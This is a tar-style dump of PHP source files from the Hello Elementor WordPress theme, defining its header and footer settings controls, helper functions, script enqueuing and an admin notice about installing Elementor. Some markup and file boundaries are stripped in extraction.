includes/elementor-functions.php000064400000015570152377523360013110 0ustar00register_tab( 'hello-settings-header', HelloElementor\Includes\Settings\Settings_Header::class ); $kit->register_tab( 'hello-settings-footer', HelloElementor\Includes\Settings\Settings_Footer::class ); }, 1, 40 ); } } /** * Helper function to return a setting. * * Saves 2 lines to get kit, then get setting. Also caches the kit and setting. * * @param string $setting_id * @return string|array same as the Elementor internal function does. */ function hello_elementor_get_setting( $setting_id ) { global $hello_elementor_settings; $return = ''; if ( ! isset( $hello_elementor_settings['kit_settings'] ) ) { $kit = \Elementor\Plugin::$instance->kits_manager->get_active_kit(); $hello_elementor_settings['kit_settings'] = $kit->get_settings(); } if ( isset( $hello_elementor_settings['kit_settings'][ $setting_id ] ) ) { $return = $hello_elementor_settings['kit_settings'][ $setting_id ]; } return apply_filters( 'hello_elementor_' . $setting_id, $return ); } /** * Helper function to show/hide elements * * This works with switches, if the setting ID that has been passed is toggled on, we'll return show, otherwise we'll return hide * * @param string $setting_id * @return string|array same as the Elementor internal function does. */ function hello_show_or_hide( $setting_id ) { return ( 'yes' === hello_elementor_get_setting( $setting_id ) ? 'show' : 'hide' ); } /** * Helper function to translate the header layout setting into a class name. * * @return string */ function hello_get_header_layout_class() { $layout_classes = []; $header_layout = hello_elementor_get_setting( 'hello_header_layout' ); if ( 'inverted' === $header_layout ) { $layout_classes[] = 'header-inverted'; } elseif ( 'stacked' === $header_layout ) { $layout_classes[] = 'header-stacked'; } $header_width = hello_elementor_get_setting( 'hello_header_width' ); if ( 'full-width' === $header_width ) { $layout_classes[] = 'header-full-width'; } $header_menu_dropdown = hello_elementor_get_setting( 'hello_header_menu_dropdown' ); if ( 'tablet' === $header_menu_dropdown ) { $layout_classes[] = 'menu-dropdown-tablet'; } elseif ( 'mobile' === $header_menu_dropdown ) { $layout_classes[] = 'menu-dropdown-mobile'; } elseif ( 'none' === $header_menu_dropdown ) { $layout_classes[] = 'menu-dropdown-none'; } $hello_header_menu_layout = hello_elementor_get_setting( 'hello_header_menu_layout' ); if ( 'dropdown' === $hello_header_menu_layout ) { $layout_classes[] = 'menu-layout-dropdown'; } return implode( ' ', $layout_classes ); } /** * Helper function to translate the footer layout setting into a class name. * * @return string */ function hello_get_footer_layout_class() { $footer_layout = hello_elementor_get_setting( 'hello_footer_layout' ); $layout_classes = []; if ( 'inverted' === $footer_layout ) { $layout_classes[] = 'footer-inverted'; } elseif ( 'stacked' === $footer_layout ) { $layout_classes[] = 'footer-stacked'; } $footer_width = hello_elementor_get_setting( 'hello_footer_width' ); if ( 'full-width' === $footer_width ) { $layout_classes[] = 'footer-full-width'; } if ( hello_elementor_get_setting( 'hello_footer_copyright_display' ) && '' !== hello_elementor_get_setting( 'hello_footer_copyright_text' ) ) { $layout_classes[] = 'footer-has-copyright'; } return implode( ' ', $layout_classes ); } add_action( 'elementor/editor/after_enqueue_scripts', function() { if ( hello_header_footer_experiment_active() ) { $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script( 'hello-theme-editor', get_template_directory_uri() . '/assets/js/hello-editor' . $suffix . '.js', [ 'jquery', 'elementor-editor' ], HELLO_ELEMENTOR_VERSION, true ); wp_enqueue_style( 'hello-editor', get_template_directory_uri() . '/editor' . $suffix . '.css', [], HELLO_ELEMENTOR_VERSION ); } } ); add_action( 'wp_enqueue_scripts', function() { if ( ! hello_header_footer_experiment_active() ) { return; } $suffix = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ? '' : '.min'; wp_enqueue_script( 'hello-theme-frontend', get_template_directory_uri() . '/assets/js/hello-frontend' . $suffix . '.js', [ 'jquery' ], '1.0.0', true ); \Elementor\Plugin::$instance->kits_manager->frontend_before_enqueue_styles(); } ); /** * Helper function to decide whether to output the header template. * * @return bool */ function hello_get_header_display() { $is_editor = isset( $_GET['elementor-preview'] ); return ( $is_editor || hello_elementor_get_setting( 'hello_header_logo_display' ) || hello_elementor_get_setting( 'hello_header_tagline_display' ) || hello_elementor_get_setting( 'hello_header_menu_display' ) ); } /** * Helper function to decide whether to output the footer template. * * @return bool */ function hello_get_footer_display() { $is_editor = isset( $_GET['elementor-preview'] ); return ( $is_editor || hello_elementor_get_setting( 'hello_footer_logo_display' ) || hello_elementor_get_setting( 'hello_footer_tagline_display' ) || hello_elementor_get_setting( 'hello_footer_menu_display' ) || hello_elementor_get_setting( 'hello_footer_copyright_display' ) ); } /** * Add Hello Elementor theme Header & Footer to Experiments. */ add_action( 'elementor/experiments/default-features-registered', function( \Elementor\Core\Experiments\Manager $experiments_manager ) { $experiments_manager->add_feature( [ 'name' => 'hello-theme-header-footer', 'title' => esc_html__( 'Hello Theme Header & Footer', 'hello-elementor' ), 'description' => sprintf( __( 'Use this experiment to design header and footer using Elementor Site Settings. Learn More', 'hello-elementor' ), 'https://go.elementor.com/wp-dash-header-footer' ), 'release_status' => $experiments_manager::RELEASE_STATUS_STABLE, 'new_site' => [ 'minimum_installation_version' => '3.3.0', 'default_active' => $experiments_manager::STATE_ACTIVE, ], ] ); } ); /** * Helper function to check if Header & Footer Experiment is Active/Inactive */ function hello_header_footer_experiment_active() { // If Elementor is not active, return false if ( ! did_action( 'elementor/loaded' ) ) { return false; } // Backwards compat. if ( ! method_exists( \Elementor\Plugin::$instance->experiments, 'is_feature_active' ) ) { return false; } return (bool) ( \Elementor\Plugin::$instance->experiments->is_feature_active( 'hello-theme-header-footer' ) ); } includes/settings-functions.php000064400000007112152377523360012747 0ustar00
'_description_meta_tag', 'SKIP_LINK' => '_skip_link', 'PAGE_TITLE' => '_page_title', 'HELLO_STYLE' => '_hello_style', 'HELLO_THEME' => '_hello_theme', ]; hello_elementor_register_settings( $settings_group, $settings ); hello_elementor_render_tweaks( $settings_group, $settings ); } /** * Register theme settings. */ function hello_elementor_register_settings( $settings_group, $settings ) { foreach ( $settings as $setting_key => $setting_value ) { register_setting( $settings_group, $settings_group . $setting_value, [ 'default' => '', 'show_in_rest' => true, 'type' => 'string', ] ); } } /** * Run a tweek only if the user requested it. */ function hello_elementor_do_tweak( $setting, $tweak_callback ) { $option = get_option( $setting ); if ( isset( $option ) && ( 'true' === $option ) && is_callable( $tweak_callback ) ) { $tweak_callback(); } } /** * Render theme tweaks. */ function hello_elementor_render_tweaks( $settings_group, $settings ) { hello_elementor_do_tweak( $settings_group . $settings['DESCRIPTION_META_TAG'], function() { remove_action( 'wp_head', 'hello_elementor_add_description_meta_tag' ); } ); hello_elementor_do_tweak( $settings_group . $settings['SKIP_LINK'], function() { add_filter( 'hello_elementor_enable_skip_link', '__return_false' ); } ); hello_elementor_do_tweak( $settings_group . $settings['PAGE_TITLE'], function() { add_filter( 'hello_elementor_page_title', '__return_false' ); } ); hello_elementor_do_tweak( $settings_group . $settings['HELLO_STYLE'], function() { add_filter( 'hello_elementor_enqueue_style', '__return_false' ); } ); hello_elementor_do_tweak( $settings_group . $settings['HELLO_THEME'], function() { add_filter( 'hello_elementor_enqueue_theme_style', '__return_false' ); } ); } includes/admin-functions.php000064400000012651152377523360012203 0ustar00parent_file ) && 'plugins.php' === $screen->parent_file && 'update' === $screen->id ) { return; } if ( 'true' === get_user_meta( get_current_user_id(), '_hello_elementor_install_notice', true ) ) { return; } $plugin = 'elementor/elementor.php'; $installed_plugins = get_plugins(); $is_elementor_installed = isset( $installed_plugins[ $plugin ] ); if ( $is_elementor_installed ) { if ( ! current_user_can( 'activate_plugins' ) ) { return; } $message = esc_html__( 'The Hello Theme is a lightweight starter theme that works perfectly with the Elementor award-winning page builder plugin. Once you activate the plugin, you are only 1 click away from building an amazing website.', 'hello-elementor' ); $button_text = esc_html__( 'Activate Elementor', 'hello-elementor' ); $button_link = wp_nonce_url( 'plugins.php?action=activate&plugin=' . $plugin . '&plugin_status=all&paged=1&s', 'activate-plugin_' . $plugin ); } else { if ( ! current_user_can( 'install_plugins' ) ) { return; } $message = esc_html__( 'The Hello Theme is a lightweight starter theme that works perfectly with the Elementor award-winning page builder plugin. Once you download and activate the plugin, you are only 1 click away from building an amazing website.', 'hello-elementor' ); $button_text = esc_html__( 'Install Elementor', 'hello-elementor' ); $button_link = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=elementor' ), 'install-plugin_elementor' ); } ?>
<?php echo esc_attr__( 'Get Elementor', 'hello-elementor' ); ?>

start_controls_section( 'hello_header_section', [ 'tab' => 'hello-settings-header', 'label' => esc_html__( 'Header', 'hello-elementor' ), ] ); $this->add_control( 'hello_header_logo_display', [ 'type' => Controls_Manager::SWITCHER, 'label' => esc_html__( 'Site Logo', 'hello-elementor' ), 'default' => 'yes', 'label_on' => esc_html__( 'Show', 'hello-elementor' ), 'label_off' => esc_html__( 'Hide', 'hello-elementor' ), ] ); $this->add_control( 'hello_header_tagline_display', [ 'type' => Controls_Manager::SWITCHER, 'label' => esc_html__( 'Tagline', 'hello-elementor' ), 'default' => 'yes', 'label_on' => esc_html__( 'Show', 'hello-elementor' ), 'label_off' => esc_html__( 'Hide', 'hello-elementor' ), ] ); $this->add_control( 'hello_header_menu_display', [ 'type' => Controls_Manager::SWITCHER, 'label' => esc_html__( 'Menu', 'hello-elementor' ), 'default' => 'yes', 'label_on' => esc_html__( 'Show', 'hello-elementor' ), 'label_off' => esc_html__( 'Hide', 'hello-elementor' ), ] ); $this->add_control( 'hello_header_layout', [ 'type' => Controls_Manager::SELECT, 'label' => esc_html__( 'Layout', 'hello-elementor' ), 'options' => [ 'default' => esc_html__( 'Default', 'hello-elementor' ), 'inverted' => esc_html__( 'Inverted', 'hello-elementor' ), 'stacked' => esc_html__( 'Centered', 'hello-elementor' ), ], 'selector' => '.site-header', 'default' => 'default', ] ); $this->add_control( 'hello_header_width', [ 'type' => Controls_Manager::SELECT, 'label' => esc_html__( 'Width', 'hello-elementor' ), 'options' => [ 'boxed' => esc_html__( 'Boxed', 'hello-elementor' ), 'full-width' => esc_html__( 'Full Width', 'hello-elementor' ), ], 'selector' => '.site-header', 'default' => 'boxed', ] ); $this->add_responsive_control( 'hello_header_custom_width', [ 'type' => Controls_Manager::SLIDER, 'label' => esc_html__( 'Content Width', 'hello-elementor' ), 'size_units' => [ '%', 'px', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 2000, ], 'em' => [ 'max' => 100, ], 'rem' => [ 'max' => 100, ], ], 'condition' => [ 'hello_header_width' => 'boxed', ], 'selectors' => [ '.site-header .header-inner' => 'width: {{SIZE}}{{UNIT}}; max-width: 100%;', ], ] ); $this->add_responsive_control( 'hello_header_gap', [ 'type' => Controls_Manager::SLIDER, 'label' => esc_html__( 'Gap', 'hello-elementor' ), 'size_units' => [ '%', 'px', 'em ', 'rem', 'vw', 'custom' ], 'default' => [ 'size' => '0', ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 5, ], 'rem' => [ 'max' => 5, ], ], 'selectors' => [ '.site-header' => 'padding-inline-end: {{SIZE}}{{UNIT}}; padding-inline-start: {{SIZE}}{{UNIT}}', ], 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'hello_header_layout', 'operator' => '!=', 'value' => 'stacked', ], ], ], ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'hello_header_background', 'label' => esc_html__( 'Background', 'hello-elementor' ), 'types' => [ 'classic', 'gradient' ], 'selector' => '.site-header', ] ); $this->end_controls_section(); $this->start_controls_section( 'hello_header_logo_section', [ 'tab' => 'hello-settings-header', 'label' => esc_html__( 'Site Logo', 'hello-elementor' ), 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'hello_header_logo_display', 'operator' => '=', 'value' => 'yes', ], ], ], ] ); $this->add_control( 'hello_header_logo_type', [ 'label' => esc_html__( 'Type', 'hello-elementor' ), 'type' => Controls_Manager::SELECT, 'default' => ( has_custom_logo() ? 'logo' : 'title' ), 'options' => [ 'logo' => esc_html__( 'Logo', 'hello-elementor' ), 'title' => esc_html__( 'Title', 'hello-elementor' ), ], 'frontend_available' => true, ] ); $this->add_responsive_control( 'hello_header_logo_width', [ 'type' => Controls_Manager::SLIDER, 'label' => esc_html__( 'Logo Width', 'hello-elementor' ), 'description' => sprintf( /* translators: %s: Link that opens Elementor's "Site Identity" panel. */ __( 'Go to Site Identity to manage your site\'s logo', 'hello-elementor' ), "javascript:\$e.route('panel/global/settings-site-identity')" ), 'size_units' => [ '%', 'px', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 1000, ], 'em' => [ 'max' => 100, ], 'rem' => [ 'max' => 100, ], ], 'condition' => [ 'hello_header_logo_display' => 'yes', 'hello_header_logo_type' => 'logo', ], 'selectors' => [ '.site-header .site-branding .site-logo img' => 'width: {{SIZE}}{{UNIT}}; max-width: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'hello_header_title_color', [ 'label' => esc_html__( 'Text Color', 'hello-elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'hello_header_logo_display' => 'yes', 'hello_header_logo_type' => 'title', ], 'selectors' => [ '.site-header h1.site-title a' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'hello_header_title_typography', 'label' => esc_html__( 'Typography', 'hello-elementor' ), 'description' => sprintf( /* translators: %s: Link that opens Elementor's "Site Identity" panel. */ __( 'Go to Site Identity to manage your site\'s title', 'hello-elementor' ), "javascript:\$e.route('panel/global/settings-site-identity')" ), 'condition' => [ 'hello_header_logo_display' => 'yes', 'hello_header_logo_type' => 'title', ], 'selector' => '.site-header h1.site-title', ] ); $this->add_control( 'hello_header_title_link', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => sprintf( /* translators: %s: Link that opens Elementor's "Site Identity" panel. */ __( 'Go to Site Identity to manage your site\'s title', 'hello-elementor' ), "javascript:\$e.route('panel/global/settings-site-identity')" ), 'content_classes' => 'elementor-control-field-description', 'condition' => [ 'hello_header_logo_display' => 'yes', 'hello_header_logo_type' => 'title', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'hello_header_tagline', [ 'tab' => 'hello-settings-header', 'label' => esc_html__( 'Tagline', 'hello-elementor' ), 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'hello_header_tagline_display', 'operator' => '=', 'value' => 'yes', ], ], ], ] ); $this->add_control( 'hello_header_tagline_color', [ 'label' => esc_html__( 'Text Color', 'hello-elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'hello_header_tagline_display' => 'yes', ], 'selectors' => [ '.site-header .site-description' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'hello_header_tagline_typography', 'label' => esc_html__( 'Typography', 'hello-elementor' ), 'condition' => [ 'hello_header_tagline_display' => 'yes', ], 'selector' => '.site-header .site-description', ] ); $this->add_control( 'hello_header_tagline_link', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => sprintf( /* translators: %s: Link that opens Elementor's "Site Identity" panel. */ __( 'Go to Site Identity to manage your site\'s tagline', 'hello-elementor' ), "javascript:\$e.route('panel/global/settings-site-identity')" ), 'content_classes' => 'elementor-control-field-description', ] ); $this->end_controls_section(); $this->start_controls_section( 'hello_header_menu_tab', [ 'tab' => 'hello-settings-header', 'label' => esc_html__( 'Menu', 'hello-elementor' ), 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'hello_header_menu_display', 'operator' => '=', 'value' => 'yes', ], ], ], ] ); $available_menus = wp_get_nav_menus(); $menus = [ '0' => esc_html__( '— Select a Menu —', 'hello-elementor' ) ]; foreach ( $available_menus as $available_menu ) { $menus[ $available_menu->term_id ] = $available_menu->name; } if ( 1 === count( $menus ) ) { $this->add_control( 'hello_header_menu_notice', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => '' . esc_html__( 'There are no menus in your site.', 'hello-elementor' ) . '
' . sprintf( __( 'Go to Menus screen to create one.', 'hello-elementor' ), admin_url( 'nav-menus.php?action=edit&menu=0' ) ), 'separator' => 'after', 'content_classes' => 'elementor-panel-alert elementor-panel-alert-info', ] ); } else { $this->add_control( 'hello_header_menu', [ 'label' => esc_html__( 'Menu', 'hello-elementor' ), 'type' => Controls_Manager::SELECT, 'options' => $menus, 'default' => array_keys( $menus )[0], 'description' => sprintf( __( 'Go to the Menus screen to manage your menus.', 'hello-elementor' ), admin_url( 'nav-menus.php' ) ), ] ); $this->add_control( 'hello_header_menu_warning', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'Changes will be reflected in the preview only after the page reloads.', 'hello-elementor' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-info', ] ); $this->add_control( 'hello_header_menu_layout', [ 'label' => esc_html__( 'Menu Layout', 'hello-elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'horizontal', 'options' => [ 'horizontal' => esc_html__( 'Horizontal', 'hello-elementor' ), 'dropdown' => esc_html__( 'Dropdown', 'hello-elementor' ), ], 'frontend_available' => true, ] ); $breakpoints = Responsive::get_breakpoints(); $this->add_control( 'hello_header_menu_dropdown', [ 'label' => esc_html__( 'Breakpoint', 'hello-elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'tablet', 'options' => [ /* translators: %d: Breakpoint number. */ 'mobile' => sprintf( esc_html__( 'Mobile (< %dpx)', 'hello-elementor' ), $breakpoints['md'] ), /* translators: %d: Breakpoint number. */ 'tablet' => sprintf( esc_html__( 'Tablet (< %dpx)', 'hello-elementor' ), $breakpoints['lg'] ), 'none' => esc_html__( 'None', 'hello-elementor' ), ], 'selector' => '.site-header', 'condition' => [ 'hello_header_menu_layout!' => 'dropdown', ], ] ); $this->add_control( 'hello_header_menu_color', [ 'label' => esc_html__( 'Color', 'hello-elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'hello_header_menu_display' => 'yes', ], 'selectors' => [ '.site-header .site-navigation ul.menu li a' => 'color: {{VALUE}};', ], ] ); $this->add_control( 'hello_header_menu_toggle_color', [ 'label' => esc_html__( 'Toggle Color', 'hello-elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'hello_header_menu_display' => 'yes', ], 'selectors' => [ '.site-header .site-navigation-toggle i' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'hello_header_menu_typography', 'label' => esc_html__( 'Typography', 'hello-elementor' ), 'condition' => [ 'hello_header_menu_display' => 'yes', ], 'selector' => '.site-header .site-navigation .menu li', ] ); } $this->end_controls_section(); } public function on_save( $data ) { // Save chosen header menu to the WP settings. if ( isset( $data['settings']['hello_header_menu'] ) ) { $menu_id = $data['settings']['hello_header_menu']; $locations = get_theme_mod( 'nav_menu_locations' ); $locations['menu-1'] = (int) $menu_id; set_theme_mod( 'nav_menu_locations', $locations ); } } public function get_additional_tab_content() { if ( ! defined( 'ELEMENTOR_PRO_VERSION' ) ) { return sprintf( '

%1$s

%2$s

%3$s
', esc_html__( 'Create a custom header with multiple options', 'hello-elementor' ), esc_html__( 'Upgrade to Elementor Pro and enjoy free design and many more features', 'hello-elementor' ), esc_html__( 'Upgrade', 'hello-elementor' ), get_template_directory_uri() . '/assets/images/go-pro.svg' ); } else { return sprintf( '

%1$s

%2$s

%3$s
', esc_html__( 'Create a custom header with the new Theme Builder', 'hello-elementor' ), esc_html__( 'With the new Theme Builder you can jump directly into each part of your site', 'hello-elementor' ), esc_html__( 'Create Header', 'hello-elementor' ), get_template_directory_uri() . '/assets/images/go-pro.svg', get_admin_url( null, 'admin.php?page=elementor-app#/site-editor/templates/header' ) ); } } } includes/settings/settings-footer.php000064400000034215152377523360014101 0ustar00start_controls_section( 'hello_footer_section', [ 'tab' => 'hello-settings-footer', 'label' => esc_html__( 'Footer', 'hello-elementor' ), ] ); $this->add_control( 'hello_footer_logo_display', [ 'type' => Controls_Manager::SWITCHER, 'label' => esc_html__( 'Site Logo', 'hello-elementor' ), 'default' => 'yes', 'label_on' => esc_html__( 'Show', 'hello-elementor' ), 'label_off' => esc_html__( 'Hide', 'hello-elementor' ), 'selector' => '.site-footer .site-branding', ] ); $this->add_control( 'hello_footer_tagline_display', [ 'type' => Controls_Manager::SWITCHER, 'label' => esc_html__( 'Tagline', 'hello-elementor' ), 'default' => 'yes', 'label_on' => esc_html__( 'Show', 'hello-elementor' ), 'label_off' => esc_html__( 'Hide', 'hello-elementor' ), 'selector' => '.site-footer .site-description', ] ); $this->add_control( 'hello_footer_menu_display', [ 'type' => Controls_Manager::SWITCHER, 'label' => esc_html__( 'Menu', 'hello-elementor' ), 'default' => 'yes', 'label_on' => esc_html__( 'Show', 'hello-elementor' ), 'label_off' => esc_html__( 'Hide', 'hello-elementor' ), 'selector' => '.site-footer .site-navigation', ] ); $this->add_control( 'hello_footer_copyright_display', [ 'type' => Controls_Manager::SWITCHER, 'label' => esc_html__( 'Copyright', 'hello-elementor' ), 'default' => 'yes', 'label_on' => esc_html__( 'Show', 'hello-elementor' ), 'label_off' => esc_html__( 'Hide', 'hello-elementor' ), 'selector' => '.site-footer .copyright', ] ); $this->add_control( 'hello_footer_layout', [ 'type' => Controls_Manager::SELECT, 'label' => esc_html__( 'Layout', 'hello-elementor' ), 'options' => [ 'default' => esc_html__( 'Default', 'hello-elementor' ), 'inverted' => esc_html__( 'Inverted', 'hello-elementor' ), 'stacked' => esc_html__( 'Centered', 'hello-elementor' ), ], 'selector' => '.site-footer', 'default' => 'default', ] ); $this->add_control( 'hello_footer_width', [ 'type' => Controls_Manager::SELECT, 'label' => esc_html__( 'Width', 'hello-elementor' ), 'options' => [ 'boxed' => esc_html__( 'Boxed', 'hello-elementor' ), 'full-width' => esc_html__( 'Full Width', 'hello-elementor' ), ], 'selector' => '.site-footer', 'default' => 'boxed', ] ); $this->add_responsive_control( 'hello_footer_custom_width', [ 'type' => Controls_Manager::SLIDER, 'label' => esc_html__( 'Content Width', 'hello-elementor' ), 'size_units' => [ '%', 'px', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 2000, ], 'em' => [ 'max' => 100, ], 'rem' => [ 'max' => 100, ], ], 'condition' => [ 'hello_footer_width' => 'boxed', ], 'selectors' => [ '.site-footer .footer-inner' => 'width: {{SIZE}}{{UNIT}}; max-width: 100%;', ], ] ); $this->add_responsive_control( 'hello_footer_gap', [ 'type' => Controls_Manager::SLIDER, 'label' => esc_html__( 'Gap', 'hello-elementor' ), 'size_units' => [ '%', 'px', 'em ', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 100, ], 'em' => [ 'max' => 5, ], 'rem' => [ 'max' => 5, ], ], 'selectors' => [ '.site-footer' => 'padding-inline-end: {{SIZE}}{{UNIT}}; padding-inline-start: {{SIZE}}{{UNIT}}', ], 'condition' => [ 'hello_footer_layout!' => 'stacked', ], ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'hello_footer_background', 'label' => esc_html__( 'Background', 'hello-elementor' ), 'types' => [ 'classic', 'gradient' ], 'selector' => '.site-footer', ] ); $this->end_controls_section(); $this->start_controls_section( 'hello_footer_logo_section', [ 'tab' => 'hello-settings-footer', 'label' => esc_html__( 'Site Logo', 'hello-elementor' ), 'condition' => [ 'hello_footer_logo_display!' => '', ], ] ); $this->add_control( 'hello_footer_logo_type', [ 'label' => esc_html__( 'Type', 'hello-elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'logo', 'options' => [ 'logo' => esc_html__( 'Logo', 'hello-elementor' ), 'title' => esc_html__( 'Title', 'hello-elementor' ), ], 'frontend_available' => true, ] ); $this->add_responsive_control( 'hello_footer_logo_width', [ 'type' => Controls_Manager::SLIDER, 'label' => esc_html__( 'Logo Width', 'hello-elementor' ), 'description' => sprintf( /* translators: %s: Link that opens Elementor's "Site Identity" panel. */ __( 'Go to Site Identity to manage your site\'s logo', 'hello-elementor' ), "javascript:\$e.route('panel/global/settings-site-identity')" ), 'size_units' => [ '%', 'px', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 1000, ], 'em' => [ 'max' => 100, ], 'rem' => [ 'max' => 100, ], ], 'condition' => [ 'hello_footer_logo_display' => 'yes', 'hello_footer_logo_type' => 'logo', ], 'selectors' => [ '.site-footer .site-branding .site-logo img' => 'width: {{SIZE}}{{UNIT}}; max-width: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'hello_footer_title_color', [ 'label' => esc_html__( 'Text Color', 'hello-elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'hello_footer_logo_display' => 'yes', 'hello_footer_logo_type' => 'title', ], 'selectors' => [ '.site-footer h4.site-title a' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'hello_footer_title_typography', 'label' => esc_html__( 'Typography', 'hello-elementor' ), 'condition' => [ 'hello_footer_logo_display' => 'yes', 'hello_footer_logo_type' => 'title', ], 'selector' => '.site-footer h4.site-title', ] ); $this->add_control( 'hello_footer_title_link', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => sprintf( /* translators: %s: Link that opens Elementor's "Site Identity" panel. */ __( 'Go to Site Identity to manage your site\'s title', 'hello-elementor' ), "javascript:\$e.route('panel/global/settings-site-identity')" ), 'content_classes' => 'elementor-control-field-description', 'condition' => [ 'hello_footer_logo_display' => 'yes', 'hello_footer_logo_type' => 'title', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'hello_footer_tagline', [ 'tab' => 'hello-settings-footer', 'label' => esc_html__( 'Tagline', 'hello-elementor' ), 'condition' => [ 'hello_footer_tagline_display' => 'yes', ], ] ); $this->add_control( 'hello_footer_tagline_color', [ 'label' => esc_html__( 'Text Color', 'hello-elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'hello_footer_tagline_display' => 'yes', ], 'selectors' => [ '.site-footer .site-description' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'hello_footer_tagline_typography', 'label' => esc_html__( 'Typography', 'hello-elementor' ), 'condition' => [ 'hello_footer_tagline_display' => 'yes', ], 'selector' => '.site-footer .site-description', ] ); $this->add_control( 'hello_footer_tagline_link', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => sprintf( /* translators: %s: Link that opens Elementor's "Site Identity" panel. */ __( 'Go to Site Identity to manage your site\'s tagline', 'hello-elementor' ), "javascript:\$e.route('panel/global/settings-site-identity')" ), 'content_classes' => 'elementor-control-field-description', ] ); $this->end_controls_section(); $this->start_controls_section( 'hello_footer_menu_tab', [ 'tab' => 'hello-settings-footer', 'label' => esc_html__( 'Menu', 'hello-elementor' ), 'condition' => [ 'hello_footer_menu_display' => 'yes', ], ] ); $available_menus = wp_get_nav_menus(); $menus = [ '0' => esc_html__( '— Select a Menu —', 'hello-elementor' ) ]; foreach ( $available_menus as $available_menu ) { $menus[ $available_menu->term_id ] = $available_menu->name; } if ( 1 === count( $menus ) ) { $this->add_control( 'hello_footer_menu_notice', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => '' . esc_html__( 'There are no menus in your site.', 'hello-elementor' ) . '
' . sprintf( __( 'Go to Menus screen to create one.', 'hello-elementor' ), admin_url( 'nav-menus.php?action=edit&menu=0' ) ), 'separator' => 'after', 'content_classes' => 'elementor-panel-alert elementor-panel-alert-info', ] ); } else { $this->add_control( 'hello_footer_menu', [ 'label' => esc_html__( 'Menu', 'hello-elementor' ), 'type' => Controls_Manager::SELECT, 'options' => $menus, 'default' => array_keys( $menus )[0], 'description' => sprintf( __( 'Go to the Menus screen to manage your menus.', 'hello-elementor' ), admin_url( 'nav-menus.php' ) ), ] ); $this->add_control( 'hello_footer_menu_warning', [ 'type' => Controls_Manager::RAW_HTML, 'raw' => esc_html__( 'Changes will be reflected in the preview only after the page reloads.', 'hello-elementor' ), 'content_classes' => 'elementor-panel-alert elementor-panel-alert-info', ] ); $this->add_control( 'hello_footer_menu_color', [ 'label' => esc_html__( 'Color', 'hello-elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ 'footer .footer-inner .site-navigation a' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'hello_footer_menu_typography', 'label' => esc_html__( 'Typography', 'hello-elementor' ), 'selector' => 'footer .footer-inner .site-navigation a', ] ); } $this->end_controls_section(); $this->start_controls_section( 'hello_footer_copyright_section', [ 'tab' => 'hello-settings-footer', 'label' => esc_html__( 'Copyright', 'hello-elementor' ), 'conditions' => [ 'relation' => 'and', 'terms' => [ [ 'name' => 'hello_footer_copyright_display', 'operator' => '=', 'value' => 'yes', ], ], ], ] ); $this->add_control( 'hello_footer_copyright_text', [ 'type' => Controls_Manager::TEXTAREA, 'default' => esc_html__( 'All rights reserved', 'hello-elementor' ), ] ); $this->add_control( 'hello_footer_copyright_color', [ 'label' => esc_html__( 'Text Color', 'hello-elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => [ 'hello_footer_copyright_display' => 'yes', ], 'selectors' => [ '.site-footer .copyright p' => 'color: {{VALUE}};', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'hello_footer_copyright_typography', 'label' => esc_html__( 'Typography', 'hello-elementor' ), 'condition' => [ 'hello_footer_copyright_display' => 'yes', ], 'selector' => '.site-footer .copyright p', ] ); $this->end_controls_section(); } public function on_save( $data ) { // Save chosen footer menu to the WP settings. if ( isset( $data['settings']['hello_footer_menu'] ) ) { $menu_id = $data['settings']['hello_footer_menu']; $locations = get_theme_mod( 'nav_menu_locations' ); $locations['menu-2'] = (int) $menu_id; set_theme_mod( 'nav_menu_locations', $locations ); } } public function get_additional_tab_content() { if ( ! defined( 'ELEMENTOR_PRO_VERSION' ) ) 